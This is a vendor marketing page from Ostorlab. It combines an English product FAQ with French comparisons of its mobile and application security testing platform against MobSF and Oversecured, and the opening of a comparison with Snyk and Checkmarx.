Who should use Ostorlab?

Teams that ship mobile apps, web apps, and APIs often and want confirmed findings backed by a working exploit. It fits mobile-first engineering teams, AppSec teams securing connected applications, DevSecOps teams releasing weekly, enterprises with private environments, and risk teams vetting third-party mobile apps.

Is Ostorlab suitable for startups?

Yes. The Community plan is free and includes unlimited mobile app scans. A scoped Agentic Pentest starts at $499, and AppSec costs $299 per application per month for web/API or $599 for mobile, billed yearly. For budgeting a first pentest, see the 2026 guide to penetration testing for startups.

Is Ostorlab suitable for enterprises?

Yes. The Enterprise plan adds configurable portfolio coverage, pooled annual AI Security Credits, SSO/SAML, RBAC, audit logs, BYOK, data residency in the US, EU, GCC, or APAC, and on-premises deployment as an add-on. Attack Surface and App Vetting are included. Ostorlab is SOC 2 Type II audited.

Can Ostorlab test mobile apps, web apps, APIs, and source code?

Yes. Ostorlab tests Android, iOS, and HarmonyOS apps, web applications, REST and GraphQL APIs, and repositories on GitHub, GitLab, Bitbucket, and Azure DevOps. It can test them together as one attack surface, so chains across assets are covered.

Does Ostorlab include SAST and DAST?

Yes. Every paid plan includes static analysis (SAST), dynamic testing (DAST), software composition analysis (SCA), and API security testing, plus runtime and behavioral analysis and authenticated workflow testing through SSO and 2FA. Agentic testing then tries to exploit what those layers find, so confirmed issues arrive with proof.

Does Ostorlab replace manual penetration testing?

For frequent, repeatable testing of mobile, web, and API scope, often yes. Manual testing is still the right choice for unusual business logic, novel architecture, and audits that require a named independent human tester. Many teams run agentic pentests between annual manual engagements.

Does Ostorlab support on-premises scanning?

Yes, through a hybrid On-Premises Scanner. Scans run inside your network, while configuration, orchestration, findings, and reporting stay in the Ostorlab cloud. It is not a fully air-gapped, self-hosted deployment.

Which Ostorlab plan should I choose?

Choose Agentic Pentest for one scoped assessment, AppSec Mobile or AppSec Web/API for continuous coverage of one connected application, and Enterprise for several applications, App Vetting, or Attack Surface. Start with the free Community plan to try the platform.

When should I choose another security tool?

Choose Burp Suite Professional for interactive manual testing, a specialist consultancy for hardware, firmware, smart contracts, or audits that require named human testers, and a fully self-hosted scanner if no data may leave your network. SAST, DAST, SCA, and secrets detection are included in every paid Ostorlab plan, so they are not a reason to buy a separate tool.

Is Ostorlab suitable for simple websites?

Yes, though a static site needs less. DAST covers the site on every paid plan, and AppSec Web/API starts at $299 per application per month billed yearly. Connected-asset and agentic testing add the most value once the site gains a login, an API, a mobile client, or sensitive workflows.

Can Ostorlab assess third-party mobile applications?

Yes. App Vetting assesses outside Android and iOS apps before approval, combining static analysis, dynamic testing, and sandbox execution into a weighted risk score across malware, privacy, vulnerabilities, and trust. It reanalyzes each new version as it is released.

Ostorlab

Ostorlab vs MobSF : tests de sécurité mobile pilotés par un analyste ou par l'IA (2026)

2026-10-07T10:00:00+02:00

Ostorlab vs MobSF : tests de sécurité mobile pilotés par un analyste ou par l'IA

Réponse rapide : MobSF (Mobile Security Framework) est un outil gratuit et open source d'analyse statique, dynamique et de détection de malware pour les applications Android, iOS et Windows : ses contrôles statiques sont automatisés, tandis que ses tests dynamiques sont pilotés par votre propre analyste. Ostorlab est une plateforme managée, gratuite pour démarrer avec des scans d'applications mobiles illimités sur son plan Community, dont les agents IA testent l'application en cours d'exécution, s'y connectent, la suivent jusque dans ses API backend et étayent chaque vulnérabilité confirmée par un exploit fonctionnel.

Les deux peuvent être utilisés gratuitement : MobSF est un logiciel libre et gratuit que vous hébergez et exécutez vous-même, et Ostorlab propose un plan Community gratuit. De nombreuses équipes mobiles commencent par MobSF parce qu'il est open source, auto-hébergé et qu'il couvre les formats d'application les plus courants. C'est un excellent choix pour les analystes qui veulent inspecter une application eux-mêmes. Les équipes cherchent généralement une alternative à MobSF lorsqu'elles ont besoin de :

tests qui s'exécutent à chaque version sans analyste devant le clavier ;
versions actuelles d'Android et d'iOS sans émulateurs rootés ;
parcours authentifiés et API backend ;
preuve des vulnérabilités réellement exploitables.

Ostorlab en un coup d'œil

Ce que c'est : Ostorlab est une plateforme de tests de sécurité applicative pour les applications mobiles (Android, iOS et HarmonyOS), les applications web, les API et le code source.

Idéal pour : les équipes qui veulent que les tests mobiles s'exécutent à chaque version sans analyste devant le clavier, chaque vulnérabilité étant prouvée par un exploit fonctionnel.

Tests mobiles : analyse statique, dynamique, à l'exécution et comportementale ; tests authentifiés avec connexion, codes à usage unique et authentification multifacteur ; protections testées sur des appareils physiques.

Scan depuis les stores : recherchez une application Android, iOS ou HarmonyOS sur Google Play, l'App Store ou AppGallery et scannez-la directement, sans téléversement. Des règles de surveillance lancent un nouveau scan à chaque publication d'une nouvelle version.

Principal facteur de différenciation : lorsque l'application s'exécute dans un scan, chaque vulnérabilité confirmée par les agents IA d'Ostorlab est accompagnée d'un exploit fonctionnel, de sa sévérité, de son impact et de preuves.

Déploiement : SaaS avec résidence des données aux États-Unis, dans l'UE, dans les pays du Golfe (GCC) ou en APAC, ou sur site (Enterprise).

Tarifs : un plan Community gratuit avec des scans d'applications mobiles illimités ; AI Pentest à partir de 499 $ ; AppSec mobile à 599 $ par application et par mois, facturé annuellement. Voir les plans.

À propos de cette comparaison

Cette comparaison est publiée par Ostorlab, qui développe et vend la plateforme Ostorlab comparée ici. Les affirmations sur MobSF citent le dépôt GitHub et la documentation de MobSF, ou renvoient vers eux ; elles ont été vérifiées le 7 octobre 2026 et sont listées dans les Sources. Les affirmations sur Ostorlab s'appuient sur les pages produit et la documentation d'Ostorlab.

Critères d'évaluation : plateformes et types de fichiers, types d'analyse, prérequis matériels pour les tests dynamiques, preuve d'exploitabilité, tests authentifiés, API backend, intégrations, déploiement et coût.

Comparaison en un coup d'œil

Capacité	MobSF	Ostorlab
Idéal pour	Les analystes qui veulent un outil open source et auto-hébergé	Les équipes qui veulent des tests automatisés avec des vulnérabilités prouvées, gratuits pour démarrer
Analyse dynamique	⚠️ Émulateurs rootés jusqu'à Android 11 (API 30) ; iOS jailbreaké	✅ Android et iOS
Qui pilote les tests	Votre analyste, via une instrumentation interactive	Des agents IA, à chaque scan
Preuve d'exploitabilité	Aucune validation d'exploit documentée	✅ Exploit fonctionnel pour chaque vulnérabilité trouvée par un agent IA
Tests authentifiés	Manuels, via la session de l'analyste	✅ Connexion, codes à usage unique et authentification multifacteur
Tests des API backend	Le trafic capturé peut être transmis à d'autres outils	✅ Suit l'application jusque dans ses API
Plateformes	Android, iOS ; Windows APPX (statique uniquement)	Android, iOS, HarmonyOS, applications web, API, code source
Analyse statique	✅ Paquets d'application et code source	✅ Paquets d'application et dépôts de code source
Scan directement depuis les stores	Aucun scan depuis les stores documenté ; vous téléversez le paquet	✅ Google Play, App Store et AppGallery, avec un nouveau scan à chaque nouvelle version
Analyse de malware	✅ Avec une clé VirusTotal facultative	✅ Contrôles de code malveillant et d'anti-falsification
CI/CD	API REST ; mobsfscan pour le code source	✅ GitHub, GitLab, Jenkins, Azure DevOps, Bitbucket, CircleCI
Déploiement	Auto-hébergé (Docker ou PyPI)	SaaS dans 4 régions ; sur site avec Enterprise
Licence	Open source, GPL-3.0	Commercial ; le moteur de scan OXO est open source, Apache-2.0
Coût	Gratuit ; support payant proposé par OpenSecurity	Plan Community gratuit ; plans payants à partir de 499 $

Les points forts de chaque outil

MobSF

Cas d'usage idéal : MobSF convient surtout aux analystes en sécurité et aux chercheurs qui veulent un outil open source et auto-hébergé pour inspecter des applications mobiles à la main, ainsi qu'aux équipes qui veulent des contrôles statiques rapides dans leur propre pipeline.

MobSF se décrit comme « an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis ». Il est open source sous licence GPL-3.0. Il est intégré à Android Tamer, BlackArch et Pentoo. La dernière version au moment de la rédaction, la v4.5.3, est sortie le 21 septembre 2026.

Son analyseur statique lit « popular mobile app binaries like APK, IPA, APPX and source code ». Son analyseur dynamique « supports both Android and iOS applications and offers a platform for interactive instrumented testing, runtime data and network traffic analysis ». Les règles sont associées à CWE, à l'OWASP Mobile Top 10 et à OWASP MASVS. MobSF s'exécute sur votre propre infrastructure via Docker et expose une API REST que les équipes utilisent en CI/CD.

Ostorlab

Cas d'usage idéal : Ostorlab convient surtout aux équipes qui veulent que les tests de sécurité mobile s'exécutent à chaque version, couvrent les parcours authentifiés et les API backend, et prouvent quelles vulnérabilités sont exploitables.

Ostorlab est une plateforme de tests de sécurité applicative pour les applications mobiles, les applications web, les API et le code source. Agentic Deep Scan teste le build que vous livrez sans analyste devant le clavier : il se connecte, y compris avec des codes à usage unique et l'authentification multifacteur, contourne le TLS pinning et l'obfuscation, et suit l'application jusque dans ses API backend pour rechercher des failles de logique métier, comme des contrôles d'accès défaillants. Chaque vulnérabilité confirmée par les agents IA est accompagnée d'un exploit fonctionnel que vous pouvez rejouer.

Ostorlab teste les applications Android, iOS et HarmonyOS. Mobile Shielding Scan teste les protections à l'exécution, telles que la détection du root et du jailbreak, sur des appareils physiques. Le plan Community gratuit inclut des scans d'applications mobiles illimités, et le moteur de scan d'Ostorlab, OXO, est lui aussi open source.

Principales différences

Qui réalise les tests

MobSF fournit à un analyste les outils : code décompilé, instrumentation à l'exécution, capture du trafic et rapport. La profondeur d'une évaluation MobSF dépend de la personne qui l'utilise. Les agents IA d'Ostorlab réalisent eux-mêmes les tests dynamiques : ils naviguent dans l'application, s'y connectent et tentent d'exploiter ce qu'ils trouvent. Cela rend la même profondeur d'analyse reproductible à chaque version.

Prérequis des tests dynamiques

La documentation de l'analyse dynamique de MobSF indique qu'il « supports certain rooted Android VMs/emulators and jailbroken iOS targets ». Les émulateurs Android doivent être des images rootées « upto version 11, API 30 », et les émulateurs x86 ne peuvent pas exécuter les applications qui n'embarquent que des bibliothèques natives ARM. Pour iOS, « non jailbroken devices cannot be used with MobSF », et la prise en charge des appareils physiques jailbreakés est en bêta précoce. Ostorlab exécute pour vous les tests dynamiques sur Android et iOS, et teste les protections à l'exécution sur des appareils physiques.

Résultats bruts ou vulnérabilités prouvées

MobSF signale ce que trouvent ses règles et la session de l'analyste ; nous n'avons trouvé dans sa documentation aucune mention de validation automatique d'exploit. Ostorlab joint un exploit fonctionnel, la sévérité, l'impact et des preuves à chaque vulnérabilité confirmée par ses agents IA, afin que les développeurs corrigent des problèmes dont l'exploitabilité est démontrée.

Application seule, ou application, API et code

MobSF se concentre sur le paquet de l'application. Il peut afficher le trafic d'API capturé, que les analystes testent ensuite avec d'autres outils. Ostorlab teste les API backend dans le cadre du scan mobile, et peut ajouter des applications web et des dépôts dans un scan multi-actifs.

Coût et déploiement

MobSF est gratuit et auto-hébergé : le coût correspond à l'infrastructure et au temps de l'analyste, avec un support payant facultatif proposé par OpenSecurity. Ostorlab est un service managé avec un plan Community gratuit (scans d'applications mobiles illimités), AI Pentest à partir de 499 $ et AppSec mobile à 599 $ par application et par mois facturé annuellement (653 $ facturés mensuellement). Ostorlab propose également un déploiement sur site avec Enterprise.

Lequel choisir ?

Choisissez MobSF si vous avez des analystes qui veulent inspecter les applications à la main, si vous avez besoin d'un outil open source que vous hébergez vous-même, ou si vous voulez des contrôles statiques rapides dans votre propre pipeline.
Choisissez Ostorlab si vous voulez des tests qui s'exécutent automatiquement à chaque version, fonctionnent sur les versions actuelles d'Android et d'iOS sans émulateurs rootés, couvrent les parcours authentifiés et les API backend, et prouvent les vulnérabilités par un exploit fonctionnel. Vous pouvez démarrer gratuitement, avec des scans d'applications mobiles illimités sur le plan Community.

De nombreuses équipes utilisent les deux : MobSF comme contrôle statique gratuit de premier niveau pendant le développement, et Ostorlab pour les tests dynamiques automatisés et la preuve d'exploitation avant la mise en production.

Meilleures alternatives à MobSF

Les principales alternatives à MobSF pour tester la sécurité des applications mobiles en 2026 sont Ostorlab, Oversecured, NowSecure et Appknox.

Ostorlab est une alternative à MobSF pour les équipes qui veulent des tests automatisés à chaque version, avec des parcours authentifiés, des API backend et un exploit fonctionnel pour chaque vulnérabilité confirmée, ainsi qu'un plan Community gratuit pour démarrer.
Oversecured est une alternative à MobSF pour les équipes très orientées Android qui veulent une analyse Android approfondie avec preuve de concept ; son analyse iOS nécessite votre code source.
NowSecure est une alternative à MobSF pour les entreprises qui veulent des tests mobiles automatisés accompagnés de services de pentest. Voir Ostorlab vs NowSecure.
Appknox est une alternative à MobSF pour les équipes qui veulent tester leurs applications mobiles et leurs API avec un service d'évaluation des vulnérabilités. Voir Ostorlab vs Appknox.

FAQ

MobSF est-il gratuit ? Oui. MobSF est open source sous licence GPL-3.0 et son utilisation est gratuite. Vous l'hébergez vous-même, et OpenSecurity vend un support entreprise facultatif.

Quelle est la meilleure alternative à MobSF ? La meilleure alternative à MobSF dépend de vos besoins. Ostorlab convient aux équipes qui veulent des tests automatisés avec preuve d'exploitation et un plan gratuit pour démarrer. Oversecured convient aux équipes très orientées Android. NowSecure et Appknox conviennent aux entreprises qui veulent des services de test.

L'analyse dynamique de MobSF fonctionne-t-elle sur les dernières versions d'Android et d'iOS ? La documentation de MobSF indique que son analyse dynamique prend en charge les émulateurs Android rootés jusqu'à Android 11 (API 30), et uniquement les cibles iOS jailbreakées. Ostorlab exécute les tests dynamiques sur Android et iOS sans que vous ayez à fournir un appareil rooté ou jailbreaké.

MobSF prouve-t-il qu'une vulnérabilité est exploitable ? Nous n'avons trouvé dans la documentation de MobSF aucune mention de validation automatique d'exploit ; ses tests dynamiques sont pilotés par l'analyste. Ostorlab joint un exploit fonctionnel, la sévérité, l'impact et des preuves à chaque vulnérabilité confirmée par ses agents IA.

Existe-t-il une alternative gratuite à MobSF ? Oui. Le plan Community d'Ostorlab est gratuit, sans limite sur les scans d'applications mobiles, et le moteur de scan d'Ostorlab, OXO, est open source.

Puis-je utiliser MobSF et Ostorlab ensemble ? Oui. Une configuration courante utilise MobSF pour l'analyse statique de premier niveau pendant l'écriture du code, et Ostorlab pour les tests dynamiques automatisés, les parcours authentifiés, les API backend et la preuve d'exploitation avant la mise en production.

Comment cette comparaison a été réalisée

Les informations sur MobSF proviennent de son dépôt GitHub, de ses notes de version et de sa documentation, vérifiées le 7 octobre 2026 et listées dans les Sources. Les projets open source évoluent rapidement.
La comparaison porte sur les capacités et le coût publiés, pas sur un benchmark de taux de détection.
Lorsque nous écrivons que MobSF n'a pas de capacité ou d'affirmation documentée, nous avons cherché dans son dépôt et sa documentation et n'avons trouvé aucune mention. MobSF peut malgré tout la prendre en charge.

Sources

Pages MobSF vérifiées le 7 octobre 2026 :

Dépôt GitHub et README : positionnement, licence, analyseurs statique et dynamique, Docker, distributions
Versions : v4.5.3, 21 septembre 2026
Types de fichiers pris en charge
Documentation de l'analyse dynamique : prérequis sur les émulateurs, la version d'Android et le jailbreak
Extras : API REST, CI/CD, VirusTotal
Règles Android : association avec CWE, OWASP Mobile et MASVS

Ostorlab :

Agentic Deep Scan pour les applications mobiles, Mobile Shielding Scan, scan multi-actifs, plans, OXO

En résumé

MobSF est l'un des meilleurs outils open source pour les analystes qui veulent regarder eux-mêmes à l'intérieur d'une application mobile. Ostorlab est lui aussi gratuit pour démarrer, et conçu pour l'étape suivante : des tests qui s'exécutent à chaque version, se connectent, suivent l'application jusque dans ses API et prouvent chaque vulnérabilité confirmée par un exploit fonctionnel.

Essayez-le sur votre propre application : lancez un scan mobile gratuit et comparez les résultats avec le rapport de MobSF.

Vous utilisez déjà MobSF ? Comparez Ostorlab et MobSF sur la même application : même cible, même durée. Une vulnérabilité ne compte qu'après avoir été reproduite par votre équipe.

Ostorlab vs Oversecured : comparatif des tests de sécurité des applications mobiles (2026)

2026-10-07T10:00:00+02:00

Ostorlab vs Oversecured : comparatif des tests de sécurité des applications mobiles

Réponse rapide : Ostorlab et Oversecured testent tous deux les applications mobiles avec des agents IA et joignent une preuve aux problèmes qu'ils confirment. Oversecured analyse les builds Android et exige le code source Swift pour iOS. Ostorlab analyse les builds Android, iOS et HarmonyOS que vous livrez, ou l'application directement depuis Google Play, l'App Store ou AppGallery. Il teste aussi, sur la même plateforme, les applications web, les API et les dépôts qui se trouvent derrière l'application, et propose une offre Community gratuite avec des scans d'applications mobiles illimités.

La différence la plus marquée concerne iOS : Oversecured exige le code source Swift, alors qu'Ostorlab analyse l'IPA que vous livrez. Ostorlab suit aussi l'application jusque dans ses API backend et son code. Oversecured combine analyse statique (SAST), dynamique (DAST) et interactive (IAST) avec un agent IA qui écrit et valide des exploits sur un émulateur. L'Agentic Deep Scan d'Ostorlab se connecte, contourne le TLS pinning et l'obfuscation, et étaye chaque vulnérabilité confirmée par les agents IA avec un exploit fonctionnel.

Choisissez Oversecured si votre équipe peut partager le code source iOS avec l'éditeur.
Choisissez Ostorlab lorsque vous voulez analyser le build iOS, Android ou HarmonyOS que vous livrez, ou l'application directement depuis les stores, ou que vous avez besoin de tester ensemble l'application, ses API et son code.

Ostorlab en bref

Ce que c'est : Ostorlab est une plateforme de test de sécurité applicative pour les applications mobiles (Android, iOS et HarmonyOS), les applications web, les API et le code source.

Idéal pour : les équipes mobiles qui veulent que chaque vulnérabilité soit prouvée par un exploit fonctionnel, sur le build qu'elles livrent, avec les API et le code qui se trouvent derrière l'application.

Scan depuis les stores : recherchez une application Android, iOS ou HarmonyOS sur Google Play, l'App Store ou AppGallery et scannez-la directement, sans import. Des règles de surveillance lancent un nouveau scan à chaque publication d'une nouvelle version.

Test mobile : analyse statique, dynamique, à l'exécution et comportementale ; tests authentifiés avec connexion, codes à usage unique et authentification multifacteur ; protections testées sur des appareils physiques.

Différenciateur clé : lorsque l'application s'exécute pendant un scan, chaque vulnérabilité confirmée par les agents IA d'Ostorlab est accompagnée d'un exploit fonctionnel, de sa sévérité, de son impact et de preuves.

Déploiement : SaaS avec résidence des données aux États-Unis, dans l'UE, dans le CCG ou en APAC, ou sur site (Enterprise).

Tarifs : une offre Community gratuite avec des scans d'applications mobiles illimités ; AI Pentest à partir de 499 $ ; AppSec mobile à 599 $ par application et par mois, facturé annuellement. Voir les offres.

À propos de cette comparaison

Cette comparaison est publiée par Ostorlab, qui développe et commercialise la plateforme Ostorlab comparée ici. Les affirmations sur Oversecured citent ou renvoient au site web et à la documentation d'Oversecured, consultés le 7 octobre 2026 et listés dans les Sources. Les affirmations sur Ostorlab s'appuient sur les pages produit et la documentation d'Ostorlab.

Critères d'évaluation : plateformes et types de fichiers, types d'analyse, preuve d'exploitabilité, tests authentifiés, API backend, intégrations, déploiement et tarifs.

Comparaison en un coup d'œil

Capacité	Oversecured	Ostorlab
Idéal pour	Les équipes qui peuvent partager le code source iOS	Les équipes mobiles qui veulent un risque prouvé sur l'application, l'API et le code
Android	✅ APK, AAB et APKS	✅ APK et AAB, ou directement depuis Google Play
iOS	⚠️ Code source Swift requis	✅ Builds IPA, ou directement depuis l'App Store
HarmonyOS	Introuvable sur son site	✅ Builds HarmonyOS, sans code source
Analyse statique	✅ Plus de 175 types de vulnérabilités Android et plus de 85 types iOS	✅ Builds APK, AAB et IPA, sans code source
Analyse dynamique	✅ S'exécute sur un émulateur ; les exemples publiés concernent Android	✅ Android et iOS
Preuve d'exploitabilité	✅ Preuve de concept pour chaque vulnérabilité DAST	✅ Exploit fonctionnel pour chaque vulnérabilité trouvée par un agent IA
Tests authentifiés	✅ Comptes de test, TOTP et étapes de connexion personnalisées	✅ Connexion, codes à usage unique et authentification multifacteur
Protections à l'exécution testées sur des appareils physiques	Introuvable sur son site ; son DAST contourne les protections courantes à l'exécution sur un émulateur	✅ Mobile Shielding Scan, y compris sur des appareils rootés et jailbreakés
Applications web, API et code source	Scan d'API sur les offres Business et Enterprise	✅ Web, API et dépôts dans le même scan
CI/CD	Recettes GitHub Actions et GitLab CI (Business et supérieur) ; CLI en bêta, sur toutes les offres	✅ GitHub, GitLab, Jenkins, Azure DevOps, Bitbucket, CircleCI
Serveur MCP	✅	✅
Déploiement	SaaS ; sur site et hébergement régional avec Enterprise	SaaS dans 4 régions ; sur site avec Enterprise
Offre gratuite	Essai gratuit et pilote	✅ Offre Community, scans d'applications mobiles illimités
Tarifs	500 $ par scan ; 1 000 $ par application et par mois ; Enterprise sur mesure	À partir de 499 $ par AI Pentest ; 599 $ par application et par mois, facturé annuellement

Les points forts de chaque outil

Oversecured

Oversecured se décrit comme une « plateforme de sécurité offensive agentique pour les applications mobiles ». Son analyse statique décompile les applications Android et couvre plus de 175 types de vulnérabilités Android et plus de 85 types iOS.

Son analyse dynamique exécute l'application dans un environnement contrôlé, fait du fuzzing sur les deep links, les composants exportés et la communication inter-applications, et enregistre l'écran de l'appareil. Oversecured affirme que « chaque vulnérabilité DAST comprend une preuve de concept et une stack trace », et que son agent IA « s'exécute en parallèle sur son propre émulateur… en écrivant des exploits et en les validant ». Son IAST analyse les zones accessibles après connexion avec un nom d'utilisateur, un numéro de téléphone, un TOTP ou des étapes de connexion personnalisées.

Pour iOS, Oversecured analyse le code source Swift : sa page d'accueil indique « Pour iOS : code source requis. » Oversecured associe ses résultats à une longue liste de standards, dont OWASP MASVS, l'OWASP Mobile Top 10, PCI DSS v4, DORA et HIPAA.

Cas d'usage idéal : Oversecured convient le mieux aux équipes mobiles qui peuvent fournir le code source iOS et veulent une analyse statique, dynamique et interactive (IAST) avec preuve de concept.

Ostorlab

Ostorlab est une plateforme de test de sécurité applicative pour les applications mobiles, les applications web, les API et le code source. Pour le mobile, l'Agentic Deep Scan teste le build que vous livrez : il se connecte, y compris avec des codes à usage unique et l'authentification multifacteur, contourne le TLS pinning et l'obfuscation, et suit l'application jusque dans les API backend pour rechercher des failles de logique métier comme des contrôles d'accès défaillants. Chaque vulnérabilité confirmée par les agents IA est accompagnée d'un exploit fonctionnel que vous pouvez rejouer.

Ostorlab analyse les builds Android, iOS et HarmonyOS que vous livrez, sans code source, ou l'application directement depuis les stores. Le Mobile Shielding Scan teste les protections à l'exécution, comme la détection du root et du jailbreak, sur des appareils physiques et indique lesquelles ont tenu. Un scan multi-actifs ajoute au même scan les applications web, les API et les dépôts qui se trouvent derrière l'application.

Cas d'usage idéal : Ostorlab convient le mieux aux équipes mobiles qui livrent des builds iOS et Android sans partager de code source, et aux équipes dont le risque va de l'application jusqu'à ses API et son code. Les équipes peuvent démarrer avec l'offre Community gratuite, qui offre des scans d'applications mobiles illimités.

Principales différences

iOS sans code source

C'est la différence la plus nette. L'analyse iOS d'Oversecured exige le code source Swift, et nous n'avons trouvé sur son site aucune mention du scan d'IPA ni de tests dynamiques iOS. Ostorlab analyse directement le build iOS : les équipes de sécurité peuvent ainsi tester une application d'un éditeur, d'une agence ou de l'App Store sans accéder à son dépôt.

Une preuve jointe à chaque vulnérabilité

Les deux outils vont au-delà d'une liste de problèmes possibles. Oversecured joint une preuve de concept, une stack trace et un enregistrement d'écran à ses vulnérabilités dynamiques. Ostorlab joint un exploit fonctionnel, la sévérité, l'impact et des preuves à chaque vulnérabilité confirmée par ses agents IA. Pour les comparer, comparez les preuves que chacun produit sur votre propre application, et non ce qu'il affirme.

L'application seule, ou l'application, les API et le code

Oversecured se concentre sur l'application mobile, avec un scan d'API sur ses offres Business et Enterprise. Ostorlab teste aussi les applications web, les API et le code source, et peut les regrouper dans un seul scan avec l'application mobile : un token trouvé dans l'application et accepté par une API apparaît ainsi comme un seul chemin, et non comme des vulnérabilités séparées.

Intégrations et déploiement

Oversecured propose une CLI, une API REST et un serveur MCP sur toutes les offres. Les intégrations CI/CD, les webhooks Slack et Jira et le SSO sont réservés aux offres Business et Enterprise, et sa documentation indique que la CLI est en bêta. Ostorlab s'intègre à GitHub, GitLab, Jenkins, Azure DevOps, Bitbucket, CircleCI, Jira et Slack, et dispose de son propre serveur MCP. Les deux proposent un déploiement sur site avec leurs offres Enterprise.

Tarifs

Les tarifs d'Oversecured indiquent une offre Hacker à 500 $ par scan, une offre Business à 1 000 $ par application et par mois, et une offre Enterprise sur mesure. Oversecured propose un essai gratuit et un pilote de 5 semaines d'Oversecured 2.0. Les offres d'Ostorlab commencent par une offre Community gratuite avec des scans d'applications mobiles illimités, AI Pentest à partir de 499 $ par évaluation, et AppSec mobile à 599 $ par application et par mois facturé annuellement (653 $ facturé mensuellement).

Lequel choisir ?

Choisissez Oversecured si vous pouvez partager le code source iOS et voulez ses règles Android et son association aux standards tels qu'OWASP MASVS.
Choisissez Ostorlab si vous devez tester des builds iOS sans code source à partager, tester des applications HarmonyOS, ou faire tester ensemble l'application, ses API backend et son code, avec un exploit fonctionnel pour chaque vulnérabilité confirmée. Vous pouvez démarrer gratuitement, avec des scans d'applications mobiles illimités sur l'offre Community.

Meilleures alternatives à Oversecured

Les principales alternatives à Oversecured pour le test de sécurité des applications mobiles en 2026 sont Ostorlab, NowSecure, Appknox et MobSF.

Ostorlab est une alternative à Oversecured pour les équipes qui testent des builds iOS sans code source à partager, qui ont besoin de HarmonyOS, ou qui veulent faire tester ensemble l'application, ses API et son code, avec une offre Community gratuite.
NowSecure est une alternative à Oversecured pour les entreprises qui veulent des tests mobiles automatisés accompagnés de services de pentest. Voir Ostorlab vs NowSecure.
Appknox est une alternative à Oversecured pour les équipes qui veulent des tests d'applications mobiles et d'API avec un service d'évaluation des vulnérabilités. Voir Ostorlab vs Appknox.
MobSF est une alternative à Oversecured pour les équipes qui veulent un outil gratuit, open source et auto-hébergé, et qui peuvent réaliser les tests elles-mêmes.

FAQ

Oversecured ou Ostorlab : lequel est le meilleur pour iOS ? Pour iOS, la principale différence est le code source. L'analyse iOS d'Oversecured exige le code source Swift. Ostorlab analyse le build iOS (IPA) avec des tests statiques, dynamiques et authentifiés, sans code source.

Oversecured et Ostorlab prouvent-ils leurs vulnérabilités ? Oui, tous les deux. Oversecured joint une preuve de concept et une stack trace à chaque vulnérabilité dynamique. Ostorlab joint un exploit fonctionnel, la sévérité, l'impact et des preuves à chaque vulnérabilité confirmée par ses agents IA.

Ostorlab prend-il en charge HarmonyOS ? Oui. Ostorlab teste les applications Android, iOS et HarmonyOS, ainsi que les applications web, les API et le code source.

Combien coûte Oversecured par rapport à Ostorlab ? Oversecured indique 500 $ par scan avec son offre Hacker, 1 000 $ par application et par mois avec son offre Business, et une tarification Enterprise sur mesure. Ostorlab propose une offre Community gratuite avec des scans d'applications mobiles illimités, AI Pentest à partir de 499 $, et AppSec mobile à 599 $ par application et par mois facturé annuellement.

Quelle est la meilleure alternative à Oversecured ? Ostorlab est l'alternative la plus proche d'Oversecured lorsque vous testez des builds iOS sans code source à partager, ou que vous voulez faire tester ensemble l'application, ses API et son code ; il dispose d'une offre gratuite avec des scans d'applications mobiles illimités. NowSecure et Appknox conviennent aux entreprises qui veulent des services de test. MobSF convient aux équipes qui veulent un outil gratuit et auto-hébergé.

Existe-t-il une alternative gratuite à Oversecured ? Oui. L'offre Community d'Ostorlab est gratuite et inclut des scans d'applications mobiles illimités. MobSF est un outil gratuit et open source que vous hébergez et exécutez vous-même.

Ostorlab peut-il s'exécuter sur site ? Oui. Ostorlab s'exécute sur site avec son offre Enterprise, et propose aussi du SaaS avec résidence des données aux États-Unis, dans l'UE, dans le CCG ou en APAC.

Oversecured peut-il s'exécuter sur site ? Oui. Oversecured propose un déploiement sur site avec son offre Enterprise.

Comment cette comparaison a été réalisée

Les informations sur Oversecured proviennent du site web, de la page de tarifs et de la documentation d'Oversecured, consultés le 7 octobre 2026 et liés dans les Sources. Les éditeurs mettent souvent ces pages à jour.
La comparaison porte sur les capacités et les tarifs publiés, et non sur un benchmark de taux de détection.
Lorsque nous écrivons « introuvable », nous avons cherché dans le site et la documentation d'Oversecured et n'y avons trouvé aucune mention. Oversecured peut tout de même le proposer.

Sources

Pages d'Oversecured consultées le 7 octobre 2026 :

Page d'accueil : positionnement, types de vulnérabilités, exigence du code source iOS, preuve de concept DAST, agent IA, association aux standards
SAST, DAST et IAST
Tarifs : offres, CLI, API REST et serveur MCP sur toutes les offres, CI/CD, scan d'API, webhooks, SSO, sur site
Pilote Oversecured 2.0
Documentation : fichiers pris en charge, guide CI/CD, CLI, serveur MCP

Ostorlab :

Agentic Deep Scan pour les applications mobiles, Mobile Shielding Scan, scan multi-actifs, serveur MCP, offres

L'essentiel à retenir

Oversecured et Ostorlab sont tous deux conçus pour prouver les vulnérabilités mobiles plutôt que les lister. Oversecured va en profondeur sur Android et exige le code source pour iOS. Ostorlab teste les builds iOS, Android et HarmonyOS que vous livrez, ainsi que les API et le code qui se trouvent derrière, avec un exploit fonctionnel pour chaque vulnérabilité confirmée.

Essayez-le sur votre propre application : lancez un scan mobile gratuit et comparez les résultats avec l'outil que vous utilisez aujourd'hui.

Vous utilisez déjà Oversecured ? Comparez Ostorlab et Oversecured sur la même application : même cible, même durée. Une vulnérabilité ne compte qu'après avoir été reproduite par votre équipe.

Alternatives à Snyk et Checkmarx : Ostorlab face à Snyk Code, Checkmarx One et GitHub Advanced Security (2026)

2026-10-07T10:00:00+02:00

Alternatives à Snyk et Checkmarx : Ostorlab face à Snyk Code, Checkmarx One et GitHub Advanced Security

Réponse rapide : Les principales alternatives à Snyk Code pour le test statique de sécurité des applications (SAST) sont Ostorlab, GitHub Advanced Security (CodeQL), Checkmarx One, Semgrep et SonarQube. Les principales alternatives à Checkmarx One sont Ostorlab, Snyk Code, GitHub Advanced Security, Veracode et OpenText Fortify. Ostorlab est l'alternative pour les équipes qui ont besoin que les résultats SAST soient prouvés exploitables : son agent IA analyse le code source à la recherche de failles logiques et teste chaque chemin contre l'application web, l'API ou l'application mobile en cours d'exécution.

